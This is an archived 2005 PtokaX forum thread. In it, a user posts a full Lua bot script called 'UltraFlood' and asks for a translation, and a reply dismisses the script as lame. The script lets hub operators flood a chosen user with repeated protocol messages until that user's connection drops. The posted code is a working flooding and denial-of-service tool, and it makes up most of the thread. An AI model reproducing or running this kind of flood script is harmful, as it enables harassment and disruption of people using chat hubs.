PtokaX forum

Archive => Archived 5.0 boards => Request for scripts => Topic started by: Casanova82 on 20 April, 2005, 01:16:35

Title: Translate this?...please
Post by: Casanova82 on 20 April, 2005, 01:16:35
sBotName = "UltraFlood";

sFloodUser = nil;
iFloodCount = 0;

sToFloodUser = nil;

function Main()
   frmHub:RegBot(sBotName);
   SetTimer(10);
end

function OpConnected(curUser)
curUser:SendData("$UserCommand 1 3 Ultraflood\\Ultra User$<%[mynick]> !ultra %[nick]||")
end

function OnTimer()
   for i = 1, 20, 1 do
      iFloodCount = iFloodCount + 1;
      SendToNick(sFloodUser, "$Hello Flooder"..iFloodCount..sToFloodUser..iFloodCount.." $ ")
   end

   if(GetItemByName(sFloodUser) == nil) then
      StopTimer();
      SendToAll(sBotName, sFloodUser.." was flooded with "..iFloodCount.." and went down in a big ball of flames!!");
      iFloodCount = 0;
      sFloodUser,sToFloodUser = nil,nil;
   end
end

function DataArrival(curUser, sData)
   local s, e, cmd, user = strfind(sData, "%b<>%s+(%S+)%s+(%S+)%|$");

   if(cmd == nil or curUser.bOperator == nil) then return 0; end

   cmd = strlower(cmd);

   if(cmd == "!ultra" and GetItemByName(user).bOperator ~= 1) then
      sFloodUser = user;
      sToFloodUser = "|$To: "..sFloodUser.." From: Flooder";
      SendToAll(sBotName, "Flooding "..user.." till some manners and respect comes out their ass!!!");
      StartTimer();
   return 1
   end
end
Title:
Post by: jiten on 20 April, 2005, 07:19:12
Try this (http://board.univ-angers.fr/thread.php?threadid=4257&boardid=29&sid=4722db755d9aec6efdeb69a6ebd5cc0c) although I also agree with Hawk that this script is lame.

Cheers
Title:
Post by: Casanova82 on 20 April, 2005, 13:11:39
Ok tkx...